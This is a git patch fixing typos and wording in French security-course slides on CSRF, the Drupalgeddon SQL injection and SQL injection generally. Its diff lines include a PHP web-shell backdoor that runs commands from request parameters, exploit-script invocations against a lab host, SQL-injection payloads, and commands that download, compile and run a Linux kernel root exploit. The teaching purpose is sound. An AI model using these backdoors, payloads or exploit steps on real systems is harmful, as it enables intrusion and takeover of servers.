From be49b71ccf7bcd7fb0390fbdc216439db5c0eb9f Mon Sep 17 00:00:00 2001 From: Vincent Mazenod <vmazenod@gmail.com> Date: Sun, 17 Feb 2019 21:23:11 +0100 Subject: [PATCH] some fix --- content/slides/1337/md/csrf.md | 2 +- content/slides/1337/md/drupalgeddon.md | 17 +++++++++-------- content/slides/1337/md/sqli.md | 8 ++++---- 3 files changed, 14 insertions(+), 13 deletions(-) diff --git a/content/slides/1337/md/csrf.md b/content/slides/1337/md/csrf.md index 74913da..9756b66 100644 --- a/content/slides/1337/md/csrf.md +++ b/content/slides/1337/md/csrf.md @@ -218,5 +218,5 @@ X-Csrf-Token: i8XNjC4b8KVok4uw5RftR38Wgp2BFwql * Côté client * [RequestPolicy](https://addons.mozilla.org/fr/firefox/addon/requestpolicy) protège mais peut empêcher certains sites de fonctionner * [CsFire](https://addons.mozilla.org/fr/firefox/addon/csfire) protège un peu en enlevant toute information d'authentification pour les requêtes cross-site - * [NoScript](https://addons.mozilla.org/fr/firefox/addon/noscript) va prémunir des scripts en provenance de de sites non sûrs + * [NoScript](https://addons.mozilla.org/fr/firefox/addon/noscript) va prémunir des scripts en provenance de sites non sûrs * [Self-Destructing Cookies](https://addons.mozilla.org/fr/firefox/addon/self-destructing-cookies) permet de réduire la fenêtre d'attaque en supprimant les cookies dès qu'ils ne sont plus associé à un onglet actif diff --git a/content/slides/1337/md/drupalgeddon.md b/content/slides/1337/md/drupalgeddon.md index df2fdc6..87235f8 100644 --- a/content/slides/1337/md/drupalgeddon.md +++ b/content/slides/1337/md/drupalgeddon.md @@ -69,8 +69,8 @@ foreach (array_filter($args, 'is_array') as $key => $data) { ``` * $i est un index de tableau de variables HTTP -* le contenu des clés de $new_keys est utilisé comme paramètre d'une requête SQL - * possibilité d'injecter du code SQL dans les clés des paramètres HTTP +* les valeurs des clés de $new_keys sont utilisées comme paramètres d'une requête SQL plus loin + * il y a donc possibilité d'injecter du code SQL dans les clés des paramètres HTTP ## La faille @@ -163,7 +163,7 @@ $data = file_get_contents($url . '?q=node&destination=node', 1, $ctx); ``` ```shell -$ php attack/inject-sql.php 'http://drup.al' 'DELETE FROM flood' +$ php attack/inject-sql.php 'http://drup.al' 'DELETE FROM flood' ``` @@ -172,7 +172,7 @@ $ php attack/inject-sql.php 'http://drup.al' 'DELETE FROM flood' * [Drupal 7 Sql Injection SA-CORE-2014-005 CVE-2014-3704](http://www.homelab.it/index.php/2014/10/17/drupal-7-sql-injection/) ```shell -python drup4l_7_31_SqlInj_add_admin.py -t http://drup.al -u 1337 -p 1337 +python drup4l_7_31_SqlInj_add_admin.py -t http://drup.al -u 1337 -p 1337 ``` * représente 26% d'utilisation de la faille * industrialisé pour vendre du viagra @@ -187,9 +187,9 @@ rerésente 68% des attaques Simple backdoor shell ```php -$malicious_file_to_upload = '<?php +$malicious_file_to_upload = '<?php if(isset($_REQUEST["cmd"])){ - echo "<pre>"; + echo "<pre>"; passthru($_REQUEST["cmd"]); die; } @@ -232,7 +232,7 @@ Note: ## exploitation ```shell -$ php attack/exploit.php 'http://drup.al' +$ php attack/exploit.php 'http://drup.al' ``` * [http://drup.al/sites/default/files/backdoor.php](http://drup.al.com/sites/default/files/backdoor.php) @@ -303,7 +303,8 @@ Note: * kernel de 2.6.37 à 3.8.10 ```shell -$ wget www.tux-planet.fr/public/hack/exploits/kernel/semtex.c +$ # www.tux-planet.fr/public/hack/exploits/kernel/semtex.c is dead +$ wget https://raw.githubusercontent.com/realtalk/cve-2013-2094/master/semtex.c $ gcc -O2 semtex.c $ ./a.out $ whoami diff --git a/content/slides/1337/md/sqli.md b/content/slides/1337/md/sqli.md index 47c6300..ef5d48d 100644 --- a/content/slides/1337/md/sqli.md +++ b/content/slides/1337/md/sqli.md @@ -11,7 +11,7 @@ * L'attaquant envoie des séquences de texte permettant d'exploiter l'interpréteur visé * toutes sources de données peut être utilisées * paramètres HTTP, PATH_INFO, cookies, en-têtes HTTP, fichiers uploadés - * au niveau de la reque et [et de la réponse <i class="fa fa-reddit"></i>](http://i.imgur.com/8khrzf9.png) + * au niveau de la requête [et de la réponse <i class="fa fa-reddit"></i>](http://i.imgur.com/8khrzf9.png) ### <i class="fa fa-user-secret"></i> Que peut on faire? @@ -36,7 +36,7 @@ Note: ## [Différents types](https://www.linkedin.com/grp/post/36874-130061102) -#### [<i class="fa fa-eye"></i> Error-based]((https://www.owasp.org/index.php/SQL_Injection)) +#### [<i class="fa fa-eye"></i> Error-based](https://www.owasp.org/index.php/SQL_Injection) * Les messages d'erreur mysql sont accessibles #### [<i class="fa fa-check-square"></i> Boolean (Blind)](https://www.owasp.org/index.php/Blind_SQL_Injection) @@ -286,7 +286,7 @@ devient pour fonctionner au niveau medium ```http 1 OR user_id > 0# ``` -devient une encodée +devient une fois encodée ```http 1%20OR%20user_id%20%3E%200 @@ -387,7 +387,7 @@ Note: ## <i class="fa fa-medkit"></i> Se préserver * [Ne plus utiliser les fonctions mysql_ leur préférer mysqli_](http://stackoverflow.com/questions/548986/mysql-vs-mysqli-in-php) -* Utiliser des requêtes préparée +* Utiliser des requêtes préparées * PDO, ORM : Doctrine2, Propel * Être le plus silencieux possibles quant aux requêtes invalides * [@](http://php.net/manual/fr/language.operators.errorcontrol.php) mais pas [or die()](http://php.net/manual/fr/function.die.php) -- GitLab